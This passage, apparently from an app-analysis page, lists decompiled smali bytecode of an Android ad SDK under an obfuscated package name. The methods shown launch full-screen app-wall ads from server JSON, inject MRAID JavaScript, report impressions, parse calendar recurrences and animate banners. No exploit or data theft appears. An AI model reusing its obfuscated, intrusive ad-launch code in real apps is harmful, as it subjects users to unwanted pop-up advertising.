30 | invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
31 | move-result-object v7 | |
33 | invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
34 | move-result-object v7 | |
36 | invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
37 | move-result-object v7 | |
39 | invoke-virtual {v6, v7}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
40 | new-instance v4, Ljava/text/SimpleDateFormat; | |
42 | const-string v6, "yyyyMMdd\'T\'HHmmss\'Z\'" | |
44 | invoke-direct {v4, v6}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V |
|
46 | invoke-virtual {v4, v1}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String; | |
47 | move-result-object v3 | |
48 | new-instance v6, Ljava/lang/StringBuilder; | |
50 | invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V | |
52 | const-string v7, "" | |
54 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
55 | move-result-object v6 | |
57 | invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
58 | move-result-object v6 | |
60 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
61 | move-result-object v0 | |
62 | goto_4b: add-int/lit8 v5, v5, 0x1 | |
63 | goto/16 :goto_3 | |
64 | cond_4e: new-instance v2, Ljava/text/SimpleDateFormat; | |
66 | const-string v6, "yyyy-MM-dd" | |
68 | invoke-direct {v2, v6}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V |
|
69 | aget-object v6, p1, v5 | |
71 | invoke-virtual {v2, v6}, Ljava/text/SimpleDateFormat;->parse(Ljava/lang/String;)Ljava/util/Date; | |
72 | move-result-object v1 | |
74 | sget-object v6, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
75 | new-instance v7, Ljava/lang/StringBuilder; | |
77 | invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V | |
79 | const-string v8, "dt: " | |
81 | invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
82 | move-result-object v7 | |
84 | invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
85 | move-result-object v7 | |
87 | invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
88 | move-result-object v7 | |
90 | invoke-virtual {v6, v7}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
91 | new-instance v4, Ljava/text/SimpleDateFormat; | |
93 | const-string v6, "yyyyMMdd\'T\'HHmmss\'Z\'" | |
95 | invoke-direct {v4, v6}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V |
|
97 | invoke-virtual {v4, v1}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String; | |
98 | move-result-object v3 | |
99 | new-instance v6, Ljava/lang/StringBuilder; | |
101 | invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V | |
103 | invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
104 | move-result-object v6 | |
106 | const-string v7, "," | |
108 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
109 | move-result-object v6 | |
111 | invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
112 | move-result-object v6 | |
114 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
115 | move-result-object v0 | |
116 | goto/16 :goto_4b | |
117 | cond_96: return-object v0 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "json" # Ljava/lang/String; | |
1 | .prologue | |
2 | try_start_0: new-instance v2, Lorg/json/JSONObject; | |
4 | invoke-direct {v2, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
6 | const-string v6, "status" | |
8 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
9 | move-result v6 | |
10 | if-eqz v6, :cond_68 | |
11 | const/4 v4, 0x0 | |
12 | goto_e: | |
13 | const-string v6, "message" | |
15 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
16 | move-result v6 | |
17 | if-eqz v6, :cond_6f | |
19 | const-string v3, "" | |
20 | goto_18: const/16 v6, 0xc8 | |
21 | if-ne v4, v6, :cond_88 | |
23 | const-string v6, "Success" | |
25 | invoke-virtual {v3, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
26 | move-result v6 | |
27 | if-eqz v6, :cond_88 | |
29 | const-string v6, "url" | |
31 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
32 | move-result-object v5 | |
33 | if-eqz v5, :cond_67 | |
35 | const-string v6, "" | |
37 | invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
38 | move-result v6 | |
39 | if-nez v6, :cond_67 | |
41 | sget-object v6, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
43 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z | |
44 | new-instance v1, Landroid/content/Intent; | |
46 | sget-object v6, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
47 | const-class v7, Lcom/vxjxu/jkhfn1870/SmartWallActivity; | |
49 | invoke-direct {v1, v6, v7}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
50 | const/high16 v6, 0x10000000 | |
52 | invoke-virtual {v1, v6}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent; |
|
53 | const/high16 v6, 0x20000000 | |
55 | invoke-virtual {v1, v6}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
56 | const/high16 v6, 0x800000 | |
58 | invoke-virtual {v1, v6}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
60 | const-string v6, "appwallad" | |
62 | invoke-virtual {v1, v6}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
64 | const-string v6, "adtype" | |
66 | const-string v7, "AW" | |
68 | invoke-virtual {v1, v6, v7}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
70 | const-string v6, "url" | |
72 | invoke-virtual {v1, v6, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
73 | try_start_62: | |
74 | sget-object v6, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
76 | invoke-virtual {v6, v1}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V | |
77 | cond_67: return-void | |
78 | try_start_68: | |
79 | const-string v6, "status" | |
81 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
82 | move-result v4 | |
83 | goto/16 :goto_e | |
84 | cond_6f: | |
85 | const-string v6, "message" | |
87 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
88 | move-result-object v3 | |
89 | goto/16 :goto_18 | |
90 | catch_76: move-exception v0 | |
92 | const-string v6, "AirplaySDK" | |
94 | const-string v7, "Required SmartWallActivity not found in Manifest. Please add." | |
96 | invoke-static {v6, v7}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
97 | try_end_7e: goto/16 :goto_67 | |
98 | catch_7f: move-exception v0 | |
100 | const-string v6, "AirplaySDK" | |
102 | const-string v7, "Error in AppWall json: " | |
104 | invoke-static {v6, v7, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
105 | goto/16 :goto_67 | |
106 | try_start_88: | |
107 | invoke-static {v4, v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V | |
108 | try_end_8b: goto/16 :goto_67 | |
109 | catch_8c: move-exception v0 | |
111 | const-string v6, "AirplaySDK" | |
113 | const-string v7, "Error in AppWall response: " | |
115 | invoke-static {v6, v7, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
116 | goto/16 :goto_67 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v0, Ljava/lang/StringBuilder; | |
3 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
5 | const-string v1, "mraid.setPlacementType(\'" | |
7 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
8 | move-result-object v0 | |
10 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->placementType:Ljava/lang/String; | |
12 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
13 | move-result-object v0 | |
15 | const-string v1, "\')" | |
17 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
18 | move-result-object v0 | |
20 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
21 | move-result-object v0 | |
23 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V | |
25 | const-string v0, "SDK LOG: display Ad called." | |
27 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
28 | new-instance v0, Ljava/lang/StringBuilder; | |
30 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
32 | const-string v1, "mraid.setExpandProperties(" | |
34 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
35 | move-result-object v0 | |
37 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandProperties:Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties; | |
39 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->getProperties()Ljava/lang/String; | |
40 | move-result-object v1 | |
42 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
43 | move-result-object v0 | |
45 | const-string v1, ");" | |
47 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
48 | move-result-object v0 | |
50 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
51 | move-result-object v0 | |
53 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V | |
55 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->checkVisibility()V | |
57 | const-string v0, "default" | |
59 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V |
|
61 | const-string v0, "ready" | |
63 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerEvent(Ljava/lang/String;)V |
|
65 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler; | |
66 | if-eqz v0, :cond_5f | |
68 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler; | |
69 | const/4 v1, 0x0 | |
71 | invoke-virtual {v0, v1}, Landroid/os/Handler;->sendEmptyMessage(I)Z |
|
73 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->onAnimationEnd()V | |
74 | cond_5f: | |
75 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->setDefaultPosition()V | |
77 | const-string v0, "AirplayMraid" | |
79 | const-string v1, "Sending impression data:>" | |
81 | invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
83 | const-string v0, "90" | |
85 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
86 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "jsonString" # Ljava/lang/String; | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/NullPointerException;, | |
4 | Lorg/json/JSONException; | |
5 | } | |
6 | .end annotation | |
7 | .prologue | |
8 | const/4 v3, 0x0 | |
10 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
11 | const/4 v2, 0x7 | |
12 | new-array v2, v2, [Ljava/lang/String; | |
14 | const-string v4, "SU" | |
15 | aput-object v4, v2, v3 | |
16 | const/4 v4, 0x1 | |
18 | const-string v5, "MO" | |
19 | aput-object v5, v2, v4 | |
20 | const/4 v4, 0x2 | |
22 | const-string v5, "TU" | |
23 | aput-object v5, v2, v4 | |
24 | const/4 v4, 0x3 | |
26 | const-string v5, "WE" | |
27 | aput-object v5, v2, v4 | |
28 | const/4 v4, 0x4 | |
30 | const-string v5, "TH" | |
31 | aput-object v5, v2, v4 | |
32 | const/4 v4, 0x5 | |
34 | const-string v5, "FR" | |
35 | aput-object v5, v2, v4 | |
36 | const/4 v4, 0x6 | |
38 | const-string v5, "SA" | |
39 | aput-object v5, v2, v4 | |
40 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->days:[Ljava/lang/String; | |
42 | const-string v2, "frequency" | |
43 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_FREQUENCY:Ljava/lang/String; | |
45 | const-string v2, "interval" | |
46 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_INTERVAL:Ljava/lang/String; | |
48 | const-string v2, "expires" | |
49 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_EXPIRES:Ljava/lang/String; | |
51 | const-string v2, "exceptionDates" | |
52 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_EXCEPTION_DATES:Ljava/lang/String; | |
54 | const-string v2, "daysInWeek" | |
55 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_DAYS_IN_WEEK:Ljava/lang/String; | |
57 | const-string v2, "daysInMonth" | |
58 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_DAYS_IN_MONTH:Ljava/lang/String; | |
60 | const-string v2, "daysInYear" | |
61 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_DAYS_IN_YEAR:Ljava/lang/String; | |
63 | const-string v2, "weeksInMonth" | |
64 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_WEEKS_IN_MONTH:Ljava/lang/String; | |
66 | const-string v2, "monthsInYear" | |
67 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->RECURRENCE_MONTHS_IN_YEAR:Ljava/lang/String; | |
68 | new-instance v2, Lorg/json/JSONObject; | |
70 | invoke-direct {v2, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
71 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject; | |
73 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject; | |
75 | const-string v4, "frequency" | |
77 | invoke-virtual {v2, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
78 | move-result v2 | |
79 | if-eqz v2, :cond_a5 | |
81 | const-string v2, "" | |
82 | goto_62: iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->frequency:Ljava/lang/String; | |
84 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject; | |
86 | const-string v4, "interval" | |
88 | invoke-virtual {v2, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
89 | move-result v2 | |
90 | if-eqz v2, :cond_ae | |
91 | move v2, v3 | |
92 | goto_6f: iput-short v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->interval:S | |
94 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject; | |
96 | const-string v3, "expires" | |
98 | invoke-virtual {v2, v3}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
99 | move-result v2 | |
100 | if-eqz v2, :cond_bb | |
102 | const-string v2, "" | |
103 | goto_7d: iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->expires:Ljava/lang/String; | |
105 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject; | |
107 | const-string v3, "exceptionDates" | |
109 | invoke-virtual {v2, v3}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
110 | move-result v2 | |
111 | if-eqz v2, :cond_c4 | |
112 | const/4 v0, 0x0 | |
113 | goto_8a: if-eqz v0, :cond_cd | |
115 | invoke-virtual {v0}, Lorg/json/JSONArray;->length()I | |
116 | move-result v2 | |
117 | new-array v2, v2, [Ljava/lang/String; | |
118 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->exceptionDates:[Ljava/lang/String; | |
119 | const/4 v1, 0x0 | |
120 | goto_95: | |
121 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->exceptionDates:[Ljava/lang/String; | |
122 | array-length v2, v2 | |
123 | if-ge v1, v2, :cond_cd | |
125 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->exceptionDates:[Ljava/lang/String; | |
127 | invoke-virtual {v0, v1}, Lorg/json/JSONArray;->getString(I)Ljava/lang/String; |
|
128 | move-result-object v3 | |
129 | aput-object v3, v2, v1 | |
130 | add-int/lit8 v1, v1, 0x1 | |
131 | goto/16 :goto_95 | |
132 | cond_a5: | |
133 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject; | |
135 | const-string v4, "frequency" | |
137 | invoke-virtual {v2, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
138 | move-result-object v2 | |
139 | goto/16 :goto_62 | |
140 | cond_ae: | |
141 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject; | |
143 | const-string v3, "interval" | |
145 | invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
146 | move-result-object v2 | |
148 | invoke-static {v2}, Ljava/lang/Short;->parseShort(Ljava/lang/String;)S | |
149 | move-result v2 | |
150 | goto/16 :goto_6f | |
151 | cond_bb: | |
152 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject; | |
154 | const-string v3, "expires" | |
156 | invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
157 | move-result-object v2 | |
158 | goto/16 :goto_7d | |
159 | cond_c4: | |
160 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject; | |
162 | const-string v3, "exceptionDates" | |
164 | invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray; |
|
165 | move-result-object v0 | |
166 | goto/16 :goto_8a | |
167 | cond_cd: | |
168 | const-string v2, "daysInWeek" | |
170 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->parseJson(Ljava/lang/String;)[S | |
171 | move-result-object v2 | |
172 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInWeek:[S | |
174 | const-string v2, "daysInMonth" | |
176 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->parseJson(Ljava/lang/String;)[S | |
177 | move-result-object v2 | |
178 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInMonth:[S | |
180 | const-string v2, "daysInYear" | |
182 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->parseJson(Ljava/lang/String;)[S | |
183 | move-result-object v2 | |
184 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInYear:[S | |
186 | const-string v2, "weeksInMonth" | |
188 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->parseJson(Ljava/lang/String;)[S | |
189 | move-result-object v2 | |
190 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->weeksInMonth:[S | |
192 | const-string v2, "monthsInYear" | |
194 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->parseJson(Ljava/lang/String;)[S | |
195 | move-result-object v2 | |
196 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->monthsInYear:[S | |
197 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "isOutAnimation" # Z | |
1 | .prologue | |
2 | const/4 v0, 0x0 | |
3 | if-eqz p1, :cond_73 | |
5 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
6 | if-eqz v1, :cond_1f | |
8 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
10 | const-string v2, "fade" | |
12 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
13 | move-result v1 | |
14 | if-eqz v1, :cond_1f | |
15 | new-instance v0, Landroid/view/animation/AlphaAnimation; | |
16 | const/high16 v1, 0x3f800000 # 1.0f | |
17 | const/4 v2, 0x0 | |
19 | invoke-direct {v0, v1, v2}, Landroid/view/animation/AlphaAnimation;-><init>(FF)V |
|
20 | const-wide/16 v2, 0x2bc | |
22 | invoke-virtual {v0, v2, v3}, Landroid/view/animation/Animation;->setDuration(J)V |
|
23 | cond_1e: return-object v0 | |
24 | cond_1f: | |
25 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
26 | if-eqz v1, :cond_49 | |
28 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
30 | const-string v2, "left_to_right" | |
32 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
33 | move-result v1 | |
34 | if-eqz v1, :cond_49 | |
35 | new-instance v0, Landroid/view/animation/TranslateAnimation; | |
36 | const/4 v1, 0x2 | |
37 | const/4 v2, 0x0 | |
38 | const/4 v3, 0x2 | |
39 | const/high16 v4, 0x3f800000 # 1.0f | |
40 | const/4 v5, 0x2 | |
41 | const/4 v6, 0x0 | |
42 | const/4 v7, 0x2 | |
43 | const/4 v8, 0x0 | |
45 | invoke-direct/range {v0 .. v8}, Landroid/view/animation/TranslateAnimation;-><init>(IFIFIFIF)V |
|
46 | const-wide/16 v2, 0x384 | |
48 | invoke-virtual {v0, v2, v3}, Landroid/view/animation/Animation;->setDuration(J)V |
|
49 | new-instance v1, Landroid/view/animation/AccelerateInterpolator; | |
51 | invoke-direct {v1}, Landroid/view/animation/AccelerateInterpolator;-><init>()V | |
53 | invoke-virtual {v0, v1}, Landroid/view/animation/Animation;->setInterpolator(Landroid/view/animation/Interpolator;)V | |
54 | goto/16 :goto_1e | |
55 | cond_49: | |
56 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
57 | if-eqz v1, :cond_1e | |
59 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
61 | const-string v2, "top_down" | |
63 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
64 | move-result v1 | |
65 | if-eqz v1, :cond_1e | |
66 | new-instance v0, Landroid/view/animation/TranslateAnimation; | |
67 | const/4 v1, 0x2 | |
68 | const/4 v2, 0x0 | |
69 | const/4 v3, 0x2 | |
70 | const/4 v4, 0x0 | |
71 | const/4 v5, 0x2 | |
72 | const/4 v6, 0x0 | |
73 | const/4 v7, 0x2 | |
74 | const/high16 v8, 0x3f800000 # 1.0f | |
76 | invoke-direct/range {v0 .. v8}, Landroid/view/animation/TranslateAnimation;-><init>(IFIFIFIF)V |
|
77 | const-wide/16 v2, 0x384 | |
79 | invoke-virtual {v0, v2, v3}, Landroid/view/animation/Animation;->setDuration(J)V |
|
80 | new-instance v1, Landroid/view/animation/AccelerateInterpolator; | |
82 | invoke-direct {v1}, Landroid/view/animation/AccelerateInterpolator;-><init>()V | |
84 | invoke-virtual {v0, v1}, Landroid/view/animation/Animation;->setInterpolator(Landroid/view/animation/Interpolator;)V | |
85 | goto/16 :goto_1e | |
86 | cond_73: | |
87 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
88 | if-eqz v1, :cond_8f | |
90 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
92 | const-string v2, "fade" | |
94 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
95 | move-result v1 | |
96 | if-eqz v1, :cond_8f | |
97 | new-instance v0, Landroid/view/animation/AlphaAnimation; | |
98 | const/4 v1, 0x0 | |
99 | const/high16 v2, 0x3f800000 # 1.0f | |
101 | invoke-direct {v0, v1, v2}, Landroid/view/animation/AlphaAnimation;-><init>(FF)V |
|
102 | const-wide/16 v2, 0x4b0 | |
104 | invoke-virtual {v0, v2, v3}, Landroid/view/animation/Animation;->setDuration(J)V |
|
105 | goto/16 :goto_1e | |
106 | cond_8f: | |
107 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
108 | if-eqz v1, :cond_ba | |
110 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
112 | const-string v2, "left_to_right" | |
114 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
115 | move-result v1 | |
116 | if-eqz v1, :cond_ba | |
117 | new-instance v0, Landroid/view/animation/TranslateAnimation; | |
118 | const/4 v1, 0x2 | |
119 | const/high16 v2, -0x40800000 # -1.0f | |
120 | const/4 v3, 0x2 | |
121 | const/4 v4, 0x0 | |
122 | const/4 v5, 0x2 | |
123 | const/4 v6, 0x0 | |
124 | const/4 v7, 0x2 | |
125 | const/4 v8, 0x0 | |
127 | invoke-direct/range {v0 .. v8}, Landroid/view/animation/TranslateAnimation;-><init>(IFIFIFIF)V |
|
128 | const-wide/16 v2, 0x384 | |
130 | invoke-virtual {v0, v2, v3}, Landroid/view/animation/Animation;->setDuration(J)V |
|
131 | new-instance v1, Landroid/view/animation/AccelerateInterpolator; | |
133 | invoke-direct {v1}, Landroid/view/animation/AccelerateInterpolator;-><init>()V | |
135 | invoke-virtual {v0, v1}, Landroid/view/animation/Animation;->setInterpolator(Landroid/view/animation/Interpolator;)V | |
136 | goto/16 :goto_1e | |
137 | cond_ba: | |
138 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
139 | if-eqz v1, :cond_1e | |
141 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
143 | const-string v2, "top_down" | |
145 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
146 | move-result v1 | |
147 | if-eqz v1, :cond_1e | |
148 | new-instance v0, Landroid/view/animation/TranslateAnimation; | |
149 | const/4 v1, 0x2 | |
150 | const/4 v2, 0x0 | |
151 | const/4 v3, 0x2 | |
152 | const/4 v4, 0x0 | |
153 | const/4 v5, 0x2 | |
154 | const/high16 v6, -0x40800000 # -1.0f | |
155 | const/4 v7, 0x2 | |
156 | const/4 v8, 0x0 | |
158 | invoke-direct/range {v0 .. v8}, Landroid/view/animation/TranslateAnimation;-><init>(IFIFIFIF)V |
|
159 | const-wide/16 v2, 0x384 | |
